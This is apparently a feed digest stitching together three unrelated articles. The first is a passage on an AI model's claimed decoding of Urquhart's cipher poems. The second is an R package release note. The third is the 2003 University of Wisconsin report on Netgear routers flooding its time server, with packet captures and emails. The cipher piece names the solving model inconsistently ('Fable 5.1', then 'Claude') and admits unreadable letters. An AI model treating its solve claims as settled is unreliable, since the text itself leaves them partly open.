Most historical attempts assumed the key was external: a cipher alphabet, or some mapping of numbers to letters or words, that had to be reconstructed from outside the text. But the key was not an external cipher alphabet at all. The key was the book itself.

The rule was simple: for the i -th number in a cipher line, go to the i -th Proquiritation, use that number as a word index, and take the first letter of that word.

With this, you get:

O GOD UPHOLD KING CHARLS THE SECOND AND
MAKE HIM THE SUPREME RULER OF THIS LAND

And the result is extremely self-verifying. Each line contains exactly 32 letters and ends and / land (a rhyming 2 line verse), consistent with the promised distich. It also makes historical sense: Urquhart was a committed Royalist. Hiding a prayer for Charles II in the text is entirely consistent with his politics.

Urquhart left a second, much larger cryptogram in the same style — the Cyphral Octastich in The Jewel (1652), 285 numbers instead of 64, and just as unsolved. From this, Fable 5.1 was also able to decipher it:

Result: the Cyfral Octastick is solved (all but nine letters)

Rule. The Jewel (1652) has exactly 284 numbered pages, and the octastick + decagram contain 285 numbers. The k-th number (counting straight through the eight lines and the Decagram) is a word index into page k of the book; take the word's first letter. Same idea as the Distich (number i → Proquiritation i), with pages instead of paragraphs — and, as in the Distich, Urquhart almost always picked the first word on the page starting with the letter he needed (231 of 275 readable positions are exact first-occurrence hits in the EEBO-TCP text; the other 44 are 1–3 words off for identifiable transcription reasons — hyphenated words at page tops, hyphenated compounds, "&", paragraph numbers, an untranscribed Greek phrase).

Plaintext (ottava rima, ABABABCC — a royalist prayer written in London, March 1652):

GREAT LORD, MANTAINE THAT REGAL FAMILIE
WHEREOF KING CHARLS THE SECOND IS THE HEAD,
AND GRANT THAT HE MAY BEARE THE SUPREME SWEIGH
WHERE ENGLISH, SCOTS AND IR[I]SH ARE BORNE AND BRED,
AND [·········] THIS USURP'D AUTHORITIE
REIGNE IN HIS ROYAL PREDECESSORS STEAD;
LET HIM BE OUR SOLE CESAR, ARTUR, HECTOR,
OUR EMPEROUR, KING, MONARCH AND PROTECTOR.
                        AMEN, SO BE IT.   (the Decagram)

Sweigh is Scots swey "sway, controlling power" — DOST records the exact idiom "to bear the swey" (c. 1600), and it rhymes with familie/authoritie.

Caveats, stated plainly:
- Line 4 is enciphered I‑R‑S‑H (pages 127–130): a slip for IRISH, or a deliberate contraction — "Irsh" gives the line exactly ten syllables.
- Line 5, letters 4–12 (pages 149–157) come out C‑O‑N‑E‑R‑T‑H‑T‑O — eight of the nine are exact first-occurrence hits, so this is genuinely what the TCP text yields, and it isn't readable. I tried page-shift, dropped-letter, misprinted-number and dictionary-lattice hypotheses; none gives English. Either Urquhart slipped here or numbers of this line were misprinted. The rest of the line (THIS USURP'D AUTHORITIE) is certain.
- From position 159 onward every number keys to page k−1: one page was used twice (or the printed "5.5" in line 5 is a dittography). Lines 6–8 and the decagram decode cleanly with that shift.
- No free page images of a 1652 Jewel exist (a subagent checked Google Books, HathiTrust, IA, NLS; the octastick sits on the final quire 3*² that the TCP copy lacks, but the main text and pagination are the same in all copies). Confirming the ±1 positions and the nine letters needs a physical copy or the 1983 Jack & Lyall edition.

Files: verify_octastick.py (prints all 285 positions with page/word/letter/offset; output in octastick_verification.txt), jewel_pages.py (page parser), firstocc.py/lattice.py (analysis tools), SOLUTION.md and FAMOUS-CIPHERS-STATUS.md updated, memory updated.

Sources: DOST swey(e n. (https://www.dsl.ac.uk/entry/dost/sweye_n), SND swey (https://dsl.ac.uk/entry/snd/swey), ESTC R203867 (via CERL) (https://datb.cerl.org/estc/R203867), Cipherbrain thread on the poems (https://scienceblogs.de/klausis-krypto-kolumne/2019/07/28/revisited-thomas-urquharts-encrypted-poems/), HCPortal record (https://www.cryptograms.hcportal.eu/web/#/ciphers/8).

Elicitation

I’ve actually been trying for the past few months to elicit models into solving an important but unsolved cipher. Across those months, no other frontier model I tried produced a verified solve.

How I elicited Fable 5.1 was quite simple. I gave it a goal of sorts. I asked it to solve an unsolved cipher. I gave it some encouragement. I told it to look online at some of Fable’s strongest feats, especially the math problems it has solved, and that something like this should be easy in comparison. I told it to think creatively and really analyze the problems it encountered.

I gave it two constraints. First, I asked it to avoid ciphers that already had solutions or could support many plausible answers. I suspect a lot of historical unsolved ciphers aren’t quickly verifiable and may be vague in the sense that their creators are long dead, so we might never truly know whether a proposed answer is correct.

Second, I steered it away from the absolute hardest problems—ones where thousands of humans, or even organizations like the CIA, had already put in serious effort. For example, Kryptos K4 might be a little too hard and convoluted for current models. That might be a future experiment, but I don’t think Fable 5.1 could solve it in a reasonable amount of time yet.

Fable 5.1 spent some time looking over different problems. It knew when to stop. It knew when a problem wasn’t budging. And when it found this particular problem, it noticed the clue almost immediately.

Now, I don’t think other frontier models would necessarily fail to solve this problem. The clue is actually extremely simple. I think what Fable did well was notice that this particular problem stood out as unusually tractable.

Takeaways

I think this demonstrates that models can solve problems not just in mathematics, but also historical mysteries, forgotten conjectures, archival puzzles, and things like that.

Historically, many of these problems were bottlenecked by human attention. Someone had to care enough to spend hours or days reading obscure material, testing unpromising ideas, tracing references, and trying things that might go nowhere.

That bottleneck is seemingly disappearing.

And the interesting thing about Claude solving this is that it didn’t perform some extraordinary feat of cryptanalysis. It’s actually the opposite.

The answer was simple in hindsight. It just kept looking until it found it—and that persistence might show up in many other areas.


Sir Thomas Urquhart, Logopandecteision (London, 1653), in The Works of Sir Thomas Urquhart of Cromarty, Knight (Edinburgh: Maitland Club, 1834), Proquiritations, pp. 412–417; “The Cyphral Distich,” p. 417. archive.org

https://codebreaking-guide.com/links/unsolved-cryptograms/

*Minor counting note: one coordinate depends on treating the Latin expression “hinc inde” as a single unit; otherwise that position is shifted by one.

Dirk Eddelbuettel: td 0.0.7 on CRAN: New Features and Updates

PlanetDebian
dirk.eddelbuettel.com
2026-09-13 16:57:00
A new version 0.0.7 of the td package for accessing the twelvedata API for financial is now on CRAN, and has been built for r2u. This release combines the standard set of maintenance changes that accrue in a four and a half year period (!!) as that much time has past since the previous release. But ...
Original Article

td 0.0.7 on CRAN: New Features and Updates

A new version 0.0.7 of the td package for accessing the twelvedata API for financial is now on CRAN , and has been built for r2u .

This release combines the standard set of maintenance changes that accrue in a four and a half year period (!!) as that much time has past since the previous release. But it also contains two contributed functions to retried, respectively, a profile (available under a paid plan) and a set of main fundamental data statistics, both provided Kenneth Rose.

The NEWS entry follows.

Changes in version 0.0.7 (2026-09-13)

  • Added fun_statistics and fun_profile function

  • Expanded README.md with additional badges, and updated URLs

  • Updated continuous integration multiple times

  • Switched to Authors@R

Thanks to CRANberries , you can also look at the most recent diff to the previous release . See the project page , the github repo , and the package documentation for more details.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can now sponsor me at GitHub .

/code/td | permanent link

Flawed Routers Flood University of Wisconsin Internet Time Server (2003)

Hacker News
pages.cs.wisc.edu
2026-09-13 16:33:18
Comments...
Original Article

ABSTRACT

In May 2003, the University of Wisconsin - Madison found that it was the recipient of a continuous large scale flood of inbound Internet traffic destined for one of the campus' public Network Time Protocol (NTP) servers. The flood traffic rate was hundreds-of-thousands of packets-per-second, and hundreds of megabits-per-second.

Subsequently, we have determined the sources of this flooding to be literally hundreds of thousands of real Internet hosts throughout the world. However, rather than having originated as a malicious distributed denial-of-service (DDoS) attack, the root cause is actually a serious flaw in the design of hundreds of thousands of one vendor's low-cost Internet products targeted for residential use. The unexpected behavior of these products presents a significant operational problem for UW-Madison for years to come.

This document includes the initial public disclosure of details of these products' serious design flaw. Furthermore, it discusses our ongoing, multifaceted approach toward the solution which involves the University, the products' manufacturer, the relevant Internet standards (RFCs), and the public Internet service and user communities.

Table of Contents

Flawed Routers Flood University of Wisconsin Internet Time Server
    Netgear Cooperating with University on a Resolution
    The Initial Flood
            Figure 1. The Initial Flood
        Blocking the Flood
    Background: Simple Network Time Protocol (SNTP)
            Figure 2. A SNTP Request Packet
            Figure 3. A Unicast SNTP Reply Packet
    The Flood Continues
            Figure 4. The Flood Continues: One Month Later
    Investigation
        Contacting Source Networks
            Figure 5. Email Notification to Peer Institution
        Gathering Background Information
        Examining the Netgear Code
    Contacting Netgear
            Figure 6. Email to Netgear Support
            Figure 7. Email from Netgear Support
    The Review Process
    The Flawed SNTP Client
        Impact to Netgear Customers
        Code Upgrades for Affected Netgear Products
            Figure 8. Affected Netgear Products
        Flawed Product Counts
            Figure 8a. Netgear SNTP Clients Per Day
    Suggested Fixes
        The Initial Fix: "Instant" Code
    Network Operational Options: To Serve or To Sever?
        Endgame A: UW-Madison Netgear Anycast Time Service
            Figure 10. A WiscNet BGP-based Anycast Time Service
        Endgame B: Attempt to Suppress the Requests
            Figure 11. Using the Global BGP Routing Table to Squelch Requests
        Endgame B: IP Resources Required
            Figure 12. IP Resources Required for BGP-based Suppression
    Inform the Internet Community
    Clarify Internet Best Current Practice and Protocol Standards
    Status, August 21, 2003
            Figure 13. The Most Recent Flood
    Afterthoughts
    Acknowledgements
    Analysis Tools
    References / Further Reading
    Frequently Asked Questions
        What is Netgear's liability for causing (however inadvertently) this denial of service for your network?
        Have you considered putting up a server which sends back fake answers to netgear clients, to cause people to upgrade?
        What is the expected life-time for these products?
        In figure 13, could that "shark fin" spike have anything to do with last week's power grid failure (Blackout 2003), and subsequent "rolling" restoration?
        Are there other devices than those mentioned which also suffer from the flaw which causes inadvertent flooding of your network?
        What was the effect of this article being slashdotted?
        Why is a traditional manufacturer recall/defect solution not a possibility?
        I'm with [the IT press], do you have some time to speak with me?
        How has this story been covered in the press?

The Initial Flood

Figure 1 is a graph of inbound traffic to our campus over a 48 hour period, tuesday through thursday, May 13-15, 2003.

The first half of the graph shows typical traffic levels for our campus, with peak inbound packet rates of about 40,000 packets-per-second. However, as you can see, our inbound packet-per-second rate increased dramatically starting May 14 at about 8AM localtime, primarily from our commodity Internet Service Provider, WiscNet. At about 9:40AM this additional traffic began to cause problems with our measurement infrastructure and some of our legacy intra-campus routers. By 11AM we had identified the inbound flood traffic by protocol and port numbers. It was destined for our public time server and we blocked the incoming traffic upstream, at WiscNet's border routers, which alleviated the problem for the time being. This is a typical action for network operators to take in reaction to malicious Denial-of-Service flood attacks, of which we assumed this was one.


Blocking the Flood

The traffic in question appeared to be Network Time Protocol (NTP) queries in that they consisted of 76-byte IP packets destined for UDP port number 123 (NTP). However, these packets had an unusual characteristic: although they appeared to come from many sources, they all had the same source port number: 23457. Therefore, it was possible to configure our routers to block just a subset of inbound queries to our NTP server, and continue to service the other legitimate requests normally. We just blocked all UDP traffic sourced from port 23457 and destined for port 123 (NTP) of the NTP server in question. (Note that the number 23457 seems hand-picked, as the number subsequent to 23456.) At this point we simply chalked it up to naivete on the part of the "attacker", which we presumed was forging many random source addresses, and left it at that, presuming that the flood would subside within hours as "script kiddie"-launched flood attacks often do.


Background: Simple Network Time Protocol (SNTP)

Paraphrased from RFC2030 by Dave Mills:

The Simple Network Time Protocol (SNTP) is an adaptation of the Network Time Protocol (NTP) used to synchronize computer clocks in the Internet. It is a simple, stateless remote-procedure call (RPC) system with accuracy and reliability expectations similar to the UDP/TIME protocol described in RFC-868. SNTP can be used when the ultimate performance of the full NTP implementation is not necessary.

Note that SNTP uses the same packet format as NTP. In this way, SNTP clients can utilize NTP servers, even though they do not implement the complexities of the full peer-to-peer NTP protocol.

SNTP conversations typically follow these steps:

  1. A client that would like to know the time sends a UDP packet containing the SNTP request to the well-known NTP port number 123 of an NTP server, and awaits a reply.

    Figure 2. A SNTP Request Packet

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
    | =0|= 1-4|= 3  |      = 0      |     = 0       |      = 0      |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                          Root Delay                           |
    |                             = 0                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                       Root Dispersion                         |
    |                             = 0                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                     Reference Identifier                      |
    |                             = 0                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                 Reference Timestamp (64 bits)                 |
    |                             = 0                               |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                 Originate Timestamp (64 bits)                 |
    |                             = 0                               |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                  Receive Timestamp (64 bits)                  |
    |                             = 0                               |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                  Transmit Timestamp (64 bits)                 |
    |                             = n                               |
    |   (some number: zero, or the time of request sent by client)  |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    
  2. The server responds with a UDP packet containing the SNTP reply from the well-known NTP port number 123 to the SNTP client.

    Figure 3. A Unicast SNTP Reply Packet

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |LI=| VN  |Mode |    Stratum    |     Poll      |   Precision   |
    |0-2|=req.|= 4  |    = 1 - 14   |   (ignore)    |   (ignore)    |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                          Root Delay                           |
    |                           (ignore)                            |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                       Root Dispersion                         |
    |                           (ignore)                            |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                     Reference Identifier                      |
    |                           (ignore)                            |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                 Reference Timestamp (64 bits)                 |
    |                           (ignore)                            |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                 Originate Timestamp (64 bits)                 |
    |            (copied from request Transmit Timestamp)           |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                  Receive Timestamp (64 bits)                  |
    |             (time request was received by server)             |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                                                               |
    |                  Transmit Timestamp (64 bits)                 |
    |                 (time of reply sent by server)                |
    |                             = n                               |
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    
  3. Upon receiving the response, the client optionally uses the Originate Timestamp from the reply to validate the response, attempting to assure that it is indeed a response to this client's request. (If the reply were spoofed from another source, it would be unlikely to contain the correct value as the Originate Timestamp). Then it plucks the value from the "Transmit Timestamp", perhaps modifying it slightly to account for the estimated one-way end-to-end delay, and uses the result as the current time to set its local clock.

Now, back to our story...


The Flood Continues

One month later, we discovered that the flood of inbound NTP traffic persisted at an even more incredibly high rate, as evidenced by Figure 4 which plots our router's discarded packet rates beginning in early June 2003, for the traffic in question.

In Figure 4, note that: (1) there are slight daily fluctuations in rate (perhaps due to diurnal user behavior), (2) generally, the rate stays at a value over 250,000 packets-per-second (and over 150 megabits-per-second), and (3) that the traffic rate increases throughout the time shown. The sharp drops in traffic rate in this figure are not due to the flood subsiding but rather were due to network maintenance and a temporary block upstream from the observation point.

Once we found that this flood was continuing and was still increasing in rate, we investigated further. By carefully removing the block on some ingress interfaces, we allowed a trickle of traffic through to the server and captured the packets including their payload. We learned that these packets appeared to be legitimate, well-formed Simple Network Time Protocol (SNTP) version 1 queries, albeit at an inexplicably high rate from each client host. For instance, during one trace, many clients produced about one query per second. This would be highly unusual for a properly constructed SNTP client, since an application which uses SNTP is merely interested in setting its own clock relatively accurately so that its host has some reasonable notion of the current time. One query per second is ridiculous, and is far from best practice for NTP client behavior.

Also, we discovered that many of the IP addresses could be resolved to DNS names and furthermore that the IP addresses all appeared to be valid sources for the given ingress interface from which we removed the block. This indicated that it was quite possible that the source addresses were not forged but instead were real Internet hosts running some very unusual SNTP client.

Alas, none of the client source hosts were within our local campus network. This meant we would need to recruit the help of staff at remote sites to aid in the investigation.


Investigation

Contacting Source Networks

Of the top talker source IP addresses from the aforementioned packet trace, I selected two client hosts from other universities with talented network staff who would be familiar with responding to such incidents.

The following is an email I sent to the Incident Response Team at one of those institutions to which one of the client host addresses belonged. (To maintain a modicum of anonymity, I have replaced the real SNTP client's IP address with 10.42.69.10 and have also removed the email domain names.)

Figure 5. Email Notification to Peer Institution

Date: Sat, 14 Jun 2003 04:34:11 -0500
From: Dave Plonka <plonka@localdomain>
To: abuse@[remotedomain]
Subject: sntp/ntp query flood from 10.42.69.10 to ntp1.cs.wisc.edu


[Organization] network abuse folks,

Since May 14, 2003 ~0800 central time, one of our campus' NTP
servers "ntp1.cs.wisc.edu" (128.105.39.11) has been the recipient of a
large-scale flood of Simple Network Time Protocol (SNTP) requests -
much more than it can service.  This dramatic increase in inbound SNTP
requests inexplicably continues even now.  To mitigate this flood we
are currently blocking over over 250K pkts/sec, exceeding 150
megabits/sec, and it has been continuing for weeks.

We are in the process of trying to determine if this flood is potentially
malicious or if it is an SNTP client misconfiguration or bug.

This traffic primarily consists of 76-byte UDP packets that are SNTP
version 1 queries from very many source host addresses directed to
ntp1.cs.wisc.edu port 123 (NTP).  Unusually, these requests all have a
UDP source port of 23457.  We have identified the host address
10.42.69.10 as just one of the sources.  (However, there are at
least tens of thousands of source host addresses.)

I have attached a timestamped log of a packet capture from the
afternoon of June 13, 2003 (Friday) evidencing the SNTP query packets
from the host 10.42.69.10 at an unusually high rate of about one
per second.  A packet decomposition (by tethereal) and hex dump of the
last packet (frame 998) in the log is included as well, which shows
them to be valid SNTP v1 queries as described in RFC 1361,
http://www.ietf.org/rfc/rfc1361.txt.

Could you assist us ASAP with this investigation by identifying that
host's operating system and what SNTP client code may be running on
that host?  It would be interesting to know if a process on
10.42.69.10 currently has UDP port 23457 bound and what code that
process is running.

Thanks,
Dave

P.S.  Our investigation so far has shown that Windows systems such as
2000 and XP have an "Internet Time" feature which is usually configured
to send SNTP requests to the Microsoft server "time.windows.com", but
this server can be changed.  I have yet to identify any SNTP client
that regularly uses UDP port 23457 as its source port.  (Note that
port number seems hand-picked, as the number subsequent to 23456.)

----------------------------------------------------------------------

  1 2003-06-13 16:32:24.8808 10.42.69.10 -> 128.105.39.11 NTP NTP
  7 2003-06-13 16:32:25.9611 10.42.69.10 -> 128.105.39.11 NTP NTP
 14 2003-06-13 16:32:27.0412 10.42.69.10 -> 128.105.39.11 NTP NTP
 21 2003-06-13 16:32:28.1215 10.42.69.10 -> 128.105.39.11 NTP NTP
 27 2003-06-13 16:32:29.2020 10.42.69.10 -> 128.105.39.11 NTP NTP
 33 2003-06-13 16:32:30.2821 10.42.69.10 -> 128.105.39.11 NTP NTP
 39 2003-06-13 16:32:31.3624 10.42.69.10 -> 128.105.39.11 NTP NTP
 45 2003-06-13 16:32:32.4427 10.42.69.10 -> 128.105.39.11 NTP NTP
 51 2003-06-13 16:32:33.5232 10.42.69.10 -> 128.105.39.11 NTP NTP
 56 2003-06-13 16:32:34.6049 10.42.69.10 -> 128.105.39.11 NTP NTP
 68 2003-06-13 16:32:36.7638 10.42.69.10 -> 128.105.39.11 NTP NTP
 74 2003-06-13 16:32:37.8441 10.42.69.10 -> 128.105.39.11 NTP NTP
 78 2003-06-13 16:32:38.9242 10.42.69.10 -> 128.105.39.11 NTP NTP
 84 2003-06-13 16:32:40.0050 10.42.69.10 -> 128.105.39.11 NTP NTP
 90 2003-06-13 16:32:41.0846 10.42.69.10 -> 128.105.39.11 NTP NTP
 96 2003-06-13 16:32:42.1647 10.42.69.10 -> 128.105.39.11 NTP NTP
<snip>
998 2003-06-13 16:35:13.3789 10.42.69.10 -> 128.105.39.11 NTP NTP

Frame 998 (90 on wire, 90 captured)
    Arrival Time: Jun 13, 2003 16:35:13.378978000
    Time delta from previous packet: 0.524605000 seconds
    Time relative to first packet: 168.498125000 seconds
    Frame Number: 998
    Packet Length: 90 bytes
    Capture Length: 90 bytes
Ethernet II
    Destination: 00:0a:41:db:58:00 (00:0a:41:db:58:00)
    Source: 00:0a:8b:bf:70:7c (00:0a:8b:bf:70:7c)
    Type: IP (0x0800)
Internet Protocol, Src Addr: 10.42.69.10 (10.42.69.10), Dst Addr: 128.105.39.11 (128.105.39.11)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 76
    Identification: 0x2cc7
    Flags: 0x00
        .0.. = Don't fragment: Not set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 243
    Protocol: UDP (0x11)
    Header checksum: 0xb335 (correct)
    Source: 10.42.69.10 (10.42.69.10)
    Destination: 128.105.39.11 (128.105.39.11)
User Datagram Protocol, Src Port: 23457 (23457), Dst Port: 123 (123)
    Source port: 23457 (23457)
    Destination port: 123 (123)
    Length: 56
    Checksum: 0xb0bd (correct)
Network Time Protocol
    Flags: 0x0b
        00.. .... = Leap Indicator: no warning (0)
        ..00 1... = Version number: reserved (1)
        .... .011 = Mode: client (3)
    Peer Clock Stratum: unspecified or unavailable (0)
    Peer Polling Interval: invalid (0)
    Peer Clock Precision: 1.000000 sec
    Root Delay:    0.0000 sec
    Clock Dispersion:    0.0000 sec
    Reference Clock ID: Unindentified reference source ''
    Reference Clock Update Time: NULL
    Originate Time Stamp: NULL
    Receive Time Stamp: NULL
    Transmit Time Stamp: NULL

0000  00 0a 41 db 58 00 00 0a 8b bf 70 7c 08 00 45 00
0010  00 4c 2c c7 00 00 f3 11 b3 35 0a 2a 45 0a 80 69
0020  27 0b 5b a1 00 7b 00 38 b0 bd 0b 00 00 00 00 00
0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050  00 00 00 00 00 00 00 00 00 00

Network staff from two universities investigated two source hosts which I reported as being sources of these anomalous SNTP queries. Both reported that a Netgear brand router was the source of the traffic. (Specifically, one was identified as model MR814.)

Now things started to make some sense. Many source hosts all using the same source port number could be explained by an embedded SNTP client in which the programmer hard-coded the source port number (23457).


Gathering Background Information

While searching the web for background information on Netgear products' acclaimed NTP support, I came across the following quote (from ICSA Labs Firewall Lab Report on the NETGEAR FR114P ):

The Netgear FR114P relied on a separate NTP-based time source to set the current date and time, as it did not have an internal battery and clock. The product is hard-coded with specific NTP time sources that are accessible through the public Internet. Even after configuring the product to access a specific NTP server, the product still attempted to access its hard-coded NTP time sources, while simultaneously accessing the time source specified

Conclusion

The Candidate Firewall Product met all the criteria elements in the Baseline and Residential modules and therefore has attained ICSA Labs Firewall Certification.

Note that Netgear reports that the FR114P does not contain the specific SNTP flaws described here. I just found it interesting, since that was the only NTP-related flaw about which I found information on the web.

Examining the Netgear Code

In order to verify our hypothesis that the source of the flood of SNTP queries are the Netgear Platinum family products and to properly characterize this problem to the vendor, the Netgear code for a number of their products was downloaded and investigated.

Simply by using the Unix "strings" command, I was able to verify that indeed the Netgear code seems to contain the magic number 23457 (as a port number):

$ strings RP614_4_12.bin |grep 23457
 on 23457 port.
$ strings MR814_4_11.bin |grep 23457
 on 23457 port.
                                                                                

Using a similar technique, I found the following IP addresses embedded as ASCII strings in RP614_4_12.bin:

128.105.39.11 # ntp1.cs.wisc.edu (a.k.a. "caesar.cs.wisc.edu")
192.168.1.101
66.37.215.43
12.234.94.14
192.168.0.1
                                                                                
(Note that I added the DNS name comments for clarity; those strings did not occur in the binary file.)
Likewise, these IP addresses were embedded in MR814_4_11.bin:
0.0.0.0
12.234.94.142
66.37.215.43
192.168.0.102
128.105.39.11 # ntp1.cs.wisc.edu (a.k.a. "caesar.cs.wisc.edu")
192.168.0.1
192.168.1.101
                                                                                

Of 3 globally routable IP addresses therein, only 128.105.39.11 appears to be used as an NTP server. One of the others was an IP address previously used by the "dyndns.org" dynamic DNS name service. Netgear has reported to us that the remaining embedded globally routable IP addresses are no longer used and that they are part of dead code left over from debugging by one of the developers.


Contacting Netgear

On June 16, 2003 I sent the following email message to Netgear support. Since this issue is more significant than the typical customer support inquiry, I also sent it directly to some Netgear employees (whose email addresses were culled from the web) asking them to communicate it to the proper people in engineering and/or to have someone contact me by phone or email.

Figure 6. Email to Netgear Support

Date: Mon, 16 Jun 2003 16:00:21 -0500
From: Dave Plonka <plonka@localdomain>
To: support@netgear.com
Subject: NETGEAR products abusing University of Wisconsin time server


NETGEAR support folks,

Since May 14, 2003, the publicly-advertised Internet time server
"ntp1.cs.wisc.edu" (a.k.a. "caesar.cs.wisc.edu", 128.105.39.11) at the
University of Wisconsin-Madison has been the recipient of a large-scale
flood of time queries apparently from NETGEAR products deployed
throughout the Internet.

Currently, based on our analysis we believe that the NETGEAR "Platinum"
products such as the RP614 and MR814 are the primary source of this
flood of traffic.  They likely will need to have their code changed to
mitigate what is essentially an accidental Denial-of-Service flood
against our NTP infrastructure.  The inbound aggregate traffic rate to
our network from NETGEAR products currently exceeds 250,000
packets-per-second and 150 megabits-per-second at our border routers,
apparently from at least tens-of-thousands of NETGEAR sources.  This
has also cost us numerous work hours of Internet traffic engineering,
troubleshooting, and abuse investigation.

Specifically, the code for the Platinum products appears to contain an
embedded Simple Network Time Protocol (SNTP) client, which sends
queries from UDP port 23457 to port 123 of the IP host 128.105.39.11.
Inexplicably, NETGEAR's products code ships with our server explictly
configured by IP address.  We have determined that at least the
following code images explicitly contain our server's IP address:
MR814_4_11.bin, MR814_v409.bin, RP614_4_0_0.bin, RP614_4_12.bin.

We believe this is inappropriate and not best current practice for
load-balancing and reliability of the Internet's NTP service.  In
addition to the sheer number of deployed products, these requests often
occur at a very fast rate from each device (for instance, one per
second) and therefore put an enormous load on our NTP server.

Please contact me as soon as possible regarding your products' default
SNTP client configration, possible SNTP client software bug, and the
resulting incident which required us to block your customer's SNTP
queries to our Network Time Protocol (NTP) server.

We look forward to hearing from you soon.

Dave

P.S. our NTP server is publicly advertised:

   http://www.ntp.org/
      http://www.eecis.udel.edu/~mills/ntp/servers.html
         http://www.eecis.udel.edu/~mills/ntp/clock2a.html

P.P.S. NTP best practice is described in the "Rules of Engagement" section
of this document:

   http://www.eecis.udel.edu/~mills/ntp/servers.html

After receiving no response for days, I called Netgear's headquarters, leaving messages with two executives explaining the seriousness of the situation. I also emailed members of Netgear's executive team by guessing their email addresses, based upon their email naming convention. I included a "Return-Receipt-To" header, and their Mail-eXchanger notified me that all were delivered successfully. Here's a portion of that message:

At this point I have a complete write-up of this continuing incident, including traffic measurement statistics evidencing the flood and an analysis of its root cause ready to be released publicly.

I absolutely need to hear from responsible parties at NETGEAR immediately, if NETGEAR wishes to begin a dialogue before this goes public. We're not expecting an immediate solution; in fact, I'm fairly certain there is no complete solution without UW-Madison's involvement.

On Thursday, June 19, I received a voicemail message from the director of support for Netgear. He confirmed that they have located some fault in their code. Soon afterward, I began to exchange email and voicemail with him. Having now established initial contact, we proceeded to work this issue outside of Netgear's support system, continuing on with the review process described below.

Netgear's support organization was completely unresponsive. Curiously, I did finally receive the email message below from Netgear's email-based customer support system, some 23 days after I submitted the problem report on June 16.

Figure 7. Email from Netgear Support

Date: Wed, 09 Jul 2003 09:35:46  +1000
From: support@esupport.netgear.com
Subject: RE:NETGEAR products abusing University of Wisconsin time server [#111678]
To: plonka@localdomain


Thank you for your email.  We apologize for the delay in responding.

Due to an unexpected increase in email volume we have been unable to
respond in a timely manner.  Your issue may have already been
resolved.  Please reply to this email if you still require assistance
and we will respond as quickly as we can.   If your issues is resolved
you do not need to reply and we will consider the case closed.

Again thank you for your patience and understanding.


Please help us serve you better by clicking here
mailto:support@netgear.com?subject=Feedback_us if you would like to
provide any other valuable feedback.  (Note: this feedback is not sent
to an agent so you will not receive a reply.)


The Review Process

Shortly after beginning a dialogue with Netgear, I proposed the formation of a review team to discuss possible solutions. Netgear agreed, and a review team was formed with about fifteen members, a third from each of these areas:

  • Netgear employees
  • University employees
  • Independent experts from their respective fields:
    • Regional Internet Registries
    • Internet Measurement Research
    • Network Time Protocol
The independent experts agreed to participate without prematurely disclosing the details of the situation.

A number of action items and directions were developed during the review process. These included:

  • Fix the SNTP Client
  • Propose the Network Operational Options
  • Inform the Internet Community
  • Clarify Internet Best Current Practice and Protocol Standards

The Flawed SNTP Client

The Flawed Netgear SNTP Client implementation in the products affecting UW-Madison has the following characteristics:

  • Uses a hard-coded IP address for the NTP server 128.105.39.11, that of ntp1.cs.wisc.edu.

  • Uses a fixed UDP source port number 23457.
